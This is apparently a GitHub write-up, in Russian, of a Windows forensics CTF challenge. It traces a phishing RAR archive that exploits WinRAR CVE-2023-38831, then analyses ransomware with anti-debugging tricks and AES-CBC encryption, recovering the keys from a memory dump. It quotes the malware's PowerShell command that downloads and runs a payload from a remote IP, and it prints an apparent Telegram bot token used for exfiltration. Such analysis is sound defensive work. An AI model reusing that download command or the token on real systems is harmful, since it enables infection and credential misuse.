Skip to content

Latest commit

 

History

History
57 lines (52 loc) · 6.53 KB

Windows-Forensics.md

File metadata and controls

57 lines (52 loc) · 6.53 KB

Windows forensics

В логах event viewer можно найти примерно момент времени, в который была развернута малварь, с помощью данной команды powershell:

powershell -command ($drop=Join-Path -Path $env:APPDATA -ChildPath Rjomba.exe);
(New-Object System.Net.WebClient).DownloadFile('http://95.169.192.220:8080/prikol.exe', $drop); 

Видно, что команда скачивает файл prikol.exe в c:\Users\\<наш пользователь>\AppData\Roaming\Rjomba.exe Примерно в то же время можно заметить какие-то события от Outlook, так что мы посмотрели его файлы. Посмотрев в типичное место для файлов Outlook, мы нашли файл [email protected] - незашифрованный файл с письмами пользователя. Проанализировав его, мы нашли письмо с вложением - classic.rar. Впоследствии, в файле был найден вредоносный код, который эксплуатировал уязвимость, чтобы исполниться.

Был сделан дамп памяти - с помощью отладочного функционала VirtualBox сдампили физическиую память всей системы, далее с помощью volatility3 достали оттуда дамп памяти процесса Rjomba.exe. Команды для volatility:

python vol.py -f ~/Downloads/dump.dmp windows.pslist # узнать pid вируса
python vol.py -o . -f ~/Downloads/dump.dmp windows.memmap \
        --pid 4168 --dump # получить дамп памяти процесса вируса из дампа всей памяти

1. Каким образом вредоносное ПО попало на компьютер пользователя?

Пользователь открыл фишинговое письмо и распаковал архив, при распаковке которого запустилась команда выше

2. С какого сервера была скачана полезная нагрузка?

http://95.169.192.220:8080 - понятно из команды:

powershell -command ($drop=Join-Path -Path $env:APPDATA -ChildPath Rjomba.exe);
(New-Object System.Net.WebClient).DownloadFile('http://95.169.192.220:8080/prikol.exe', $drop); 

3. С помощью какой уязвимости данное ВПО запустилось? В каком ПО?

Вот, что было в архиве:

> unpacked
├── > 'TOP_SECRET.pdf '
└── # 'TOP_SECRET.pdf .cmd'

Этот архив эксплуатирует уязвимость CVE-2023-38831 в WinRar, чтобы исполнить .cmd файл, в котором и была команда, найденная в логах.

4. Какие методы противодействия отладке использует программа?

Проанализировав используемые функции API windows и дкомпилированный код файла Rjomba.exe можно сделать следующие выводы:

  • Использует IsDebuggerPresent и CheckRemoteDebuggerPresent - встроенные функции библиотеки windows, которыя проверяют, отлаживается ли программа. Если программа отлаживается, файлы не шифруются, а процессы отладчиков убиваются с помощью TerminateProcess
  • Обфусцированные строчки
  • Проверяет, стоят ли в нем брейкпоинты
  • убивает все процессы, которые считает дебаггером. (Taskmgr.exe, procexp.exe, procexp64a.exe, AnVir.exe, anvir64.exe, dumpcap.exe, ollydbg.exe, tcpview.exe, autoruns.exe, autorunsc.exe, filemon.exe, procmon.exe, regmon.exe, Wireshark.exe и другие, нашли в дампе памяти)

5. Какой алгоритм шифрования используется при шифровании данных?

Посмотрев названия функций prikol.exe в ghidra, можно заметить названия вроде CBC_Encryption, что означает что алгоритм - AES в режиме CBC. Длина ключа - 256 бит, мы смогли понять это, так как шифровали тексты разных размеров и смотрели на длину итогового шифртекста.

6. Какой ключ шифрования используется при шифровании данных?

Далее с помощью strings и grep -E нашли все строки, длина которых совпадала с предполагаемой длиной ключа. Осмысленными из них были лишь две:

  • amogusamogusamogusamogusamogusam
  • sugomasugomasugomasugomasugomasu Далее мы подошли к жюри и успешно сдали эти строчки.

7. Куда злоумышленник отсылает собранные данные? Каким образом аутентифицируется на endpoint?

Поискав в дампе памяти системы можно было найти url - https://api.telegram.org/bot7029575943:AAFNYmmW_QqqMcaHZ-DFRn3M05DptExeAGE - значит, что злоумешленник отправлял данные боту в telegram, а аутентифицировался с помощью ключа 7029575943:AAFNYmmW_QqqMcaHZ-DFRn3M05DptExeAGE

8. Каково содержимое расшифрованного файла pass.txt на рабочем столе?

Так как AES использовался в режиме CBC, то чтобы расшифровать его, нам нужно было получить секретный initial vector. Поискав в дампе памяти и попробовав оттуда разные строки, было обнаружено что строка abababababababab выдавала пароль, который принимали жюри.

Расшифрованное содержимое pass.txt:

sFYZ#2z9VdUR9sm`3JRz